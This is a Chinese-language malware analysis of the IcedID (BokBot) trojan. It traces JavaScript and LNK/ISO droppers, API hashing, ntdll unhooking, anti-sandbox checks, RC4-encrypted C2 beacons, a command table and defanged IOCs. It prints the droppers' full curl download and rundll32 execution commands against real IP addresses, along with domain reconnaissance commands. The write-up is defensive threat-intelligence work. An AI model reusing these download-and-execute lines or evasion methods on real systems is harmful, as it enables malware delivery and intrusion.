IcedID木马分析
2023-12-28 08:30:0 Author: ChaMd5安全团队(查看原文) 阅读量:3 收藏

招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组

IcedID,也被称为 BokBot,在2017年被发现时最初为银行木马,后来演变为在受感染系统上分发和安装更多的恶意软件。

基本信息

名称MD5压缩包内容
HG.zip453846f0c568115c55f327758f76dee4XCJPIM.js
ISK.zip524954b01e5f6762c6ebe5bfba7126b1103_AHSJNSKSDL3.img
YHUDD.zip04775a034162eee520609b730a13bcdc188_JDHSY373DE34DE.iso

分析

HG.zip(MD5:453846f0c568115c55f327758f76dee4(https://tria.ge/231128-qvnleaab69))中包含XCJPIM.js(MD5:9a27f10ab1f551a3c29ad199df18f1e9),这个JavaScrip被混淆了,可读性很差。

对于这种程度的混淆,如果考虑静态去混淆,难度相对较大,关于静态去JavaScrip混淆,便不展开赘述了,可参考 https://nerodesu017.github.io/posts/2023-12-01-antibots-part-8 以及其他资料。

优先考虑从动态角度,通过调试或者沙箱,获取最终结果。查看anyrun分析报告(https://app.any.run/tasks/0385b276-343d-4072-95d8-243cded83742/)

cmd.exe /c mkdir C:\Ifdkijefset\Mdiejefkdlgser & curl http://162.55.217.30/gRMS/0.8566793715190715.dat --output C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX

cmd.exe /c mkdir C:\Ifdkijefset\Mdiejefkdlgser & curl http://157.90.166.88/O3ZlYNW/0.8392080340563924.dat --output C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX

cmd.exe /c mkdir C:\Ifdkijefset\Mdiejefkdlgser & curl http://128.140.36.37/cQtDIo/0.7071057850127558.dat --output C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX

cmd.exe /c mkdir C:\Ifdkijefset\Mdiejefkdlgser & curl 0.6060319888374397.dat --output C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX

cmd.exe /c mkdir C:\Ifdkijefset\Mdiejefkdlgser & curl 0.7111149462612281.dat --output C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX

cmd.exe /c mkdir C:\Ifdkijefset\Mdiejefkdlgser & curl 0.7869745523679705.dat --output C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX

cmd.exe /c timeout 10 & rundll32 C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX,nail

timeout 10

rundll32 C:\Ifdkijefset\Mdiejefkdlgser\Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX,nail

这些命令大致含义:创建一个名为 "C:\Ifdkijefset\Mdiejefkdlgser" 的文件夹,通过curl依次从不同的指定IP地址下载dat文件并保存到名为 "Skkdfjekke.OOOOOCCCCCCCCXXXXXXXXXXXX" 的文件中,然后将其保存到创建的文件夹中,会在10秒后通过rundll32,执行名为“nail”的导出函数。dll文件下载地址:hxxp://162[.]55.217.30/gRMS/0.8566793715190715.dat 、hxxp://157[.]90.166.88/O3ZlYNW/0.8392080340563924.dat 、hxxp://128[.]140.36.37/cQtDIo/0.7071057850127558.dat ,

ISK.zip(MD5:524954b01e5f6762c6ebe5bfba7126b1(https://tria.ge/231128-pnbslahh5w))包含一个名为“103_AHSJNSKSDL3.img”的文件(MD5:39c18b622b44efe2b30df7245f0fa39d),img文件中包含两个文件,分别为:AHSJNSKSDL3.lnk(MD5:e329a92bc95c5a54492a483f8cf61ac1)和version1.dll(MD5:f2f858e7763a1725fffe711267d2af33)

version1.dll被设置为隐藏。

lnk文件中目标为 C:\Windows\system32\rundll32.exe version1.dll, nail ,执行名为"nail"的导出函数。

YHUDD.zip(MD5:04775a034162eee520609b730a13bcdc(https://tria.ge/231128-qphg7sac2x))中含有一个名为“188_JDHSY373DE34DE.iso”的文件,iso文件中同样包含一个lnk文件和dll文件,dll文件也被设置为隐藏,lnk文件用于执行version1.dll中的导出函数nail

以ISK.zip的version1.dll为例,进行分析。

导出函数nail中包含大量jmp垃圾指令,干扰调试。

冒泡排序一个数组,数组排序结果为 .//00112233445566778899::;;<<<<====>>>>????@@@@AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMNNOOPPQQRRSSTTUUVVWWXXYYZZ[\]^_`abcdefghijklmnopqrstuvw

hash扫描获取函数地址:遍历InMemoryOrderModuleList,计算并对比模块hash(在本样本中,hash值0x99B3B对应模块kernel32.dll),然后定位模块加载基址DllBase,遍历导出表(IMAGE EXPORT DIRECTORYM),(在模块内遍历所有函数,计算hash,与目标函数的hash值进行比较(0xE553A458、0xC38AE110分别对应API:VirtualAlloc、VirtualProtect),函数调用前的指令地址将获取原始返回地址并压栈保存,跳转(jmp)到该函数,在函数调用完成后,返回原始返回地址。VirtualAlloc申请内存,将shellcode拷贝到刚刚申请的内存中,VirtualProtect改变内存属性,调用函数指针执行shellcode。

shellcode在被执行前会被异或解密,下图为加密的shellcode。

执行shellcode的时候,在合适的时机,使用pe-sieve扫描到一个dll(MD5:149a01e233cfc46c78e4009b5cf7eaf6)

定位导出函数scab,sub_180005AC0函数为手动映射ntdll.dll,对映射的ntdll.dll的导出函数进行遍历并计算CRC32,然后预设的CRC32值进行比较,如果匹配则返回导出函数指针地址,目的是为了加载API以及免杀。AV/EDR会对ntdll.dll进行hook监控,手动映射可以实现Unhook,具有一定的免杀效果。

CRC32算法,关键常量0xEDB88320,采用了查表法。

访问PEB的BeingDebugged标志检测是否正在被调试,通过RtlGetVersion(GetVersionExW)检测操作系统版本信息,检测系统中运行的进程数量是否小于预设值(Windows7及以上,包括Windows10 21H2(OS build 22000)系统进程数量不得小于75,win7以下系统进程数量不得小于50),检测操作系统是否是64位,检测网络适配器类型是否为虚拟网络适配器(虚拟网卡)、创建一个名为”runnung“的互斥对象。

获取当前进程信息,包括当前进程所在的路径和名称、当前进程用户的信息等。其中异或解密了一个字符串“Olimp”。

解密C2信息。C2地址为hxxps://peermangoz[.]me/live/ 、 hxxps://aprettopizza[.]world/live/

创建自身副本。创建%appdata%\Custom_update\目录,并在该目录下创建名为 Update_[\da-f]+.dll(如:Update_c399cf5.dll、Update_45c73c14.dll等)的文件。通过计划任务实现持久化,每当用户登录时,便会rundll执行nail导出函数。

解密标准base64码表。

创建一个线程,解密字符串“123456”,1800次低时间NtDelayExecution,效果类似于Sleep 180s


将下图中的信息,经RC4加密,base64编码后发送至C2,RC4的key为123456。

counter=0 //计数器
&type=1 //类型
&guid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx //全局唯一标识符 (GUID)
&os=6 //操作系统版本
&arch=1 //架构
&username=xxxxxx //用户名
&group=445271760 //群组ID
&ver=1.1 //版本
&up=3 //可能是uplaod速率
&direction=peermangoz.me //C2
&mac=00:0c:xx:xx:xx:xx; //MAC地址
&computername=DESKTOP-xxxxxxx //计算机名称
&domain=- //域名

查看字符串信息,PDB信息:c:\temp\debug.pd ,这个dll名称为Bottmp64.dll,在data段显然包含其他信息,需要进一步分析。

与C2通信,接收解密数据并解析指令。

命令表

命令含义
20
19
18从目标服务器files目录下载bp.dat并或加载执行
17退出进程
15自我更新并写入Custom_update目录
14下载shellcode并加载到内存中,创建线程执行
13下载dll,指定参数执行或直接加载
12下载exe并创建进程执行
4创建线程获取系统信息和网络信息
3获取进程列表信息
2获取桌面链接

proclist进程列表字段有:pid(进程ID)、proc(进程)、subproc(子进程)

通过CMD命令查询并收集获取系统信息和网络信息,如下表:

字段CMD命令含义
&ipconfigipconfig /all获取本地计算机的网络配置信息
&systeminfosysteminfo获取本地计算机的系统信息
&domain_trustsnltest /domain_trusts获取当前域的信任关系信息
&domain_trusts_allnltest /domain_trusts /all_trusts获取所有信任关系的信息
&net_view_all_domainnet view /all /domain判断存在域
&net_view_allnet view /all获取当前局域网中可用的计算机和共享资源
&net_groupnet group "Domain Admins" /domain获取指定域中“Domain Admins”组的成员
&wmicwmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName |findstr /V /B /C:displayName ||echo No Antivirus installed获取本地计算机上安装的杀毒软件的名称,并且如果未安装,则输出 "No Antivirus installed"
&net_config_wsnet config workstation获取工作站的配置信息。
&net_wmic_avwmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List获取正在运行的杀软软件信息
&whoami_groupwhoami /groups获取当前用户所属的用户组信息

YHUDD.zip文件中.iso中的JDHSY373DE34DE.lnk(MD5:e329a92bc95c5a54492a483f8cf61ac1)和version1.dll(MD5:b940f9dc5e1f90b9366af62399d9b147)与YHUDD.zip中的手法基本一致,便不再赘述。

IOCs

hxxp://162[.]55.217.30
hxxp://157[.]90.166.88
hxxp://128[.]140.36.37
hxxps://peermangoz[.]me/live/
hxxps://aprettopizza[.]world/live/

参考链接

1.https://bazaar.abuse.ch/sample/33cf7da7038defe4719b662e2e658b6c59ad592e427b9bd45f813369074a6996/2.https://bazaar.abuse.ch/sample/20258d38e142bb349a5f5446f0152fcc3a9402d36094f3e59e69f64496636dad/3.https://bazaar.abuse.ch/sample/8ace5462fafb950876b4315c580eb13bf1018a1815abf07c6efda8434943cc54/4.https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing/5.https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/6.https://www.resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise7.https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d398.https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/9.https://www.netresec.com/?page=Blog&month=2023-10&post=Forensic-Timeline-of-an-IcedID-Infection10.https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/11.https://scripts.itarian.com/frontend/web/topic/display-all-installed-or-active-anti-viruses-from-an-endpoint

- END -


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247509877&idx=1&sn=e1d43a6ffba00fd3871bfd475bd6e100&chksm=e915ea69499ea13164ec04ea0ba854a5a4fd5298d25bfc817da866f1728c4b72b4efa3d47b03&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh